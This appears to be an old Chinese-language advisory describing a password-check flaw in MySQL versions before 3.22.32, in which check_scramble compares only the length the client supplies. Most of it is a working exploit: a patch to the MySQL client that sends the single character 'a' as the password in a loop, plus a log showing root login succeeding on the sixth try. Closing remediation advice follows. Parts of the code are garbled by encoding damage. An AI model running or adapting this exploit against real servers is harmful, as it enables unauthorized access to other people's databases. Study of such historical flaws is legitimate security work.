◆ mysql远程访问漏洞
一. 概述
mysql是一个常用的小型数据库系统,国内有很多站点正在使用它作为web数据库。
在mysql的口令验证机制里存在安全漏洞。它允许任何用户从有目标机器数据库访问权限
的机器上与该数据库进行连接。攻击者不必知道帐号的口令,而只需知道一个可用的帐号
名即可。
所有低于mysql 3.22.32的版本可能都是有问题的。
二. 细节
mysql的口令认证的机制是这样的:当一个客户端发送一个连接请求的时候,服务端会首
先产生一个随机字符串(a),将这个字符串发送给客户端,客户端会用这个字符串和用户
输入的口令所产生的hash值(b)生成一个新的字符串(c)。 并将这个新的字符串返回给服
务端。服务端将原先的随机字符串(a)与数据库中保存的口令hash值(b')再生成一个字符
串(c'),比较这两个字符串(c和c')的内容是否一致,如果一致就允许登录,否则就不允许
登录。
然而,当比较c和c'这两个字符串内容的时候,由于没有考虑比较字符串的长度,导致了
问题的产生。从sql/password.c中可以看到有问题的代码部分:
my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* wrong password */
}
return 0;
}
......
这里的scrambled就是客户端提供的字符串c,(*to++ ^ extra))就是服务端生成的字符串
c'(中的一个字符).我们可以看到,比较的次数决定于客户端提供的字符串c的长度。问
题就出在这里了,本来服务端应当首先判断这两个字符串长度是否相等的,但是它没有,
所以如果客户端提供的字符串只有一个字符,那么check_scramble()将只比较c和c'的第
一个字节。
c'的内容是随机产生的,所以第一次登录和第二次登录时,c'的第一个字符通常是不同的。
例如:
@sqogrfa 第一次
vv]kpiu_ 第二次
m[ppryx^ 第三次
但是,根据分析,c'的每一个字符只可能有32种可能性,即:
abcdefghigklmnopqrstuvwxyz/_][]@^
那么理论上说,如果我们每次连接都发送同一个字符(比如'a')作为口令,那么32次连接
中会有一次成功。当然,这只是从概率上统计,实际上尝试的次数会从1次到100多次不等。
三. 测试程序
根据上面的分析,我们只要每次发送一个字符给服务端,如果返回错误信息,我们再次发
送这个字符,直到成功为止。为了简单起见,我们可以修改mysql的client程序.
在client/libmysql.c中, mysql_real_connect()函数是用来与服务端建立连接的。
......
mysql * stdcall
mysql_real_connect(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
dbug_print("info",("user: %s",buff+5));
/* 这里的scramble()函数将产生校验用的口令字符串c,然后将c复制到strend(buff+5)+1
处,既然我们只是要发送一个字符过去,我们可以注释掉这两行,直接将一个字?br> 复制过去即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & client_connect_with_db))
{
......
} ?br> ?br> 修改后变成: ?br> ?.....
mysql * stdcall
mysql_real_connect(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
dbug_print("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'a';
end ++;
*end = '/0'; ?br>
if (db && (mysql->server_capabilities & client_connect_with_db))
{
......
}
然后我们将这个mysql_real_connect()改名成mysql_real_connect_orig(),构造一个新的
mysql_real_connect(),它将循环调用原来的mysql_real_connect_orig(),当不断尝试发送
字符'a'进行连接,直到通过口令验证为止。
注意:下面提供的程序仅供在本机测试使用,请不要用于非法目的,后果自负!
libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c wed oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c tue feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define client_capabilities (client_long_password | client_long_flag | client_local_files)
#if defined(msdos) || defined(__win32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
mysql * stdcall
-mysql_real_connect(mysql *mysql,const char *host, const char *user,
+mysql_real_connect_orig(mysql *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
dbug_print("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* we skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("trying %d times/n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'a'; /* we just send one character as password */
+ end ++;
+ ?end = '/0';
if (db && (mysql->server_capabilities & client_connect_with_db))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return null; /* if login failed,we return null */
if (client_flag & client_compress) /* we will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
dbug_return(0);
}
+/*
+** we make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+mysql * stdcall
+mysql_real_connect(mysql *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ mysql *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("/noooh,we come in! ;-)/n/n");
+ return res;
+
+}
static my_bool mysql_reconnect(mysql *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[[email protected] warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 oct 6 06:36 mysql-3.22.27/
[[email protected] warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[[email protected] warning3]$ cd mysql-3.22.27
[[email protected] mysql-3.22.27]$ ./configure;make;cd client;
[[email protected] client]$ ./mysql -uroot -pblahblah
trying 1 times
trying 2 times
trying 3 times
trying 4 times
trying 5 times
trying 6 times
oooh,we come in! ;-)
welcome to the mysql monitor. commands end with ; or /g.
your mysql connection id is 539 to server version: 3.22.27
type 'help' for help.
mysql>
四. 解决办法
1. 升级到最新版:
2. 对于外部连接做ip限制 ?br>
感谢:
robert van der meulen 他发现了这个漏洞。:)
tb 他帮助我完成这个exploit